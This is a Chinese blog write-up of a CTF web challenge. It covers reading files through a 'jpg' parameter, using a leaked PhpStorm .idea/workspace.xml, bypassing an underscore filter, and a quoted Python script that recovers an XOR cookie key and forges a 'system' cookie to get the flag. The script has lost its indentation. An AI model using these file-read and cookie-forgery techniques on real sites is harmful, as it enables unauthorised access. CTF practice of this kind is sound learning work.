• Code


    打开是

    一幅很唯美的穹妹图,咳咳!说正题,哥哥与妹妹。。。。。。不对不对,这里是web题!

    观察url我们发现后缀是/index.php?jpg=hei.jpg,很明显这是一个文件读取的操作,我们直接看hei.jpg我网页发现是个很长很长的连接,根据提示是个base64代码,所以我们打开bp使用decode解码发现是个乱码

    hei.jpg修改为index.php试试

    查看源码,点进去又是一段神秘code,根据提示将其复制到bp中使用decode解码后得到一段php代码

    读一下这个代码,给出信息,基于phpstorm,数据是15年的,时间是1.31,然后是正文,如果jpg为空就执行header函数,file等于GET类型传入的jpg,打印一段代码,然后又分别执行两个关于file的函数变值函数,然后txt等于file_get_contents$file)的解码,再打印出图片信息,最后提问你能找到flag文件吗?

    根据created by phpstorm我们了解到用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,一般还存在workspace.xml,所以这里直接将连接修改为

    http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/.idea/workspace.xml

    得到一个配置界面,找到关键信息

    此地无银三百两,直接访问fl3g....后缀的

    http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/fl3g_ichuqiu.php

    ╮(╯▽╰)╭。。。。看看源码╮(╯▽╰)╭。。。。可能哪出错了

    试试index.php?jpg=fl3g_ichuqiu.php发现也不得行

    最后搜了下发现_被过滤了。。。。要使用config代替

    使用

    http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

    查看源码,又是一堆base64加密的,我们继续用bpdecode

    得到另一段php代码

    这段代码读了好久,分开来看能看懂,但由于太多了就没怎么理解整段的意思,这里去翻了下zy731dalao的解释:获取key,使得key$_COOKIE['user']的解密结果为system,而获取key则是通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值:encrypt('guest',$key),则cookie值就是明文“guest”与key(5)加密的结果(guestkey异或得到cookie,那么guestcookie异或可以得到key)得到5位的key后,可以爆破第六位的key,只要用得到的5key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。

    然后通过py脚本来获取flag

    这里附上dalao的脚本(写的好详细)

    # _*_ coding: utf-8 _*
    
    import requests
    
    import string
    
    from base64 import *
    
    
    #返回“抱歉”表情的url
    
    url="http://f919a9d8de2948959913b22f7a6fce6f0ebfac64b4324ba5.changame.ichunqiu.com/fl3g_ichuqiu.php"
    
    #请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key)
    
    cookie=requests.get(url).cookies['user']
    
    #将密文cookie进行base64解码
    
    txt=b64decode(cookie)
    
    rnd=txt[:4] #密文的前4位字符为随机字符
    
    ttmp=txt[4:]#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位
    
    keys=list('xxxxxx') #六位key的初始字符串
    
    guest=list('guest')#guest明文内容
    
    system=list('system')
    
    for i in range(len(guest)):
    
    guest[i]=chr(ord(guest[i])+10)#guest明文的ascii码加10,为guest加密做准备(encrypt('guest',$key))
    
    for i in range(len(guest)):
    
    keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys
    
    for i in range(len(system)):
    
    system[i]=chr(ord(system[i])+10)#system的ascii码加10,为system加密做准备
    
    letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符
    
    ttmp_new='' #system与keys的异或值
    
    cookie_system=[]
    
    str=''
    
    for ch in letters:
    
    keys[5]=ch
    
    for i in range(len(system)):
    
    ttmp_new +=chr(ord(system[i])^ord(keys[i]))
    
    str=rnd+ttmp_new #随机字符与异或结果进行拼接
    
    cookie_system.append(b64encode(str)) #将拼接结果进行base64加密,得到flag界面的cookie值,并将其填充到字典cookie_system中
    
    ttmp_new=''#爆破一次,就将ttmp_new初始化一次
    
    #
    
    # print cookie_system #输出所有可能的key爆破得到的cookie值
    
    for i in cookie_system:
    
    cookies={'user':i} #cookie变量为user,值为i
    
    res=requests.get(url,cookies=cookies) #用所有的cookie值去尝试访问服务器,得到的反馈为res
    
    if 'flag' in res.content:#如果反馈的内容含有‘flag’关键字,则说明请求的cookie正确,即keys爆破成功
    
    #print cookie_system[i] #输出正确的cookie值
    
    print res.content #输出服务器反馈的内容,即flag

    获得flag

  • 相关阅读:
    随笔
    梨花落(短篇小说)
    javascript中的apply,call,bind详解
    js中this的指向问题
    你若安好,便是晴天
    gulp
    图标
    normalize.css
    git bash和toritoise客户端结合使用
    云计算基础知识
  • 原文地址:https://www.cnblogs.com/wosun/p/11240995.html
Copyright © 2020-2023  润新知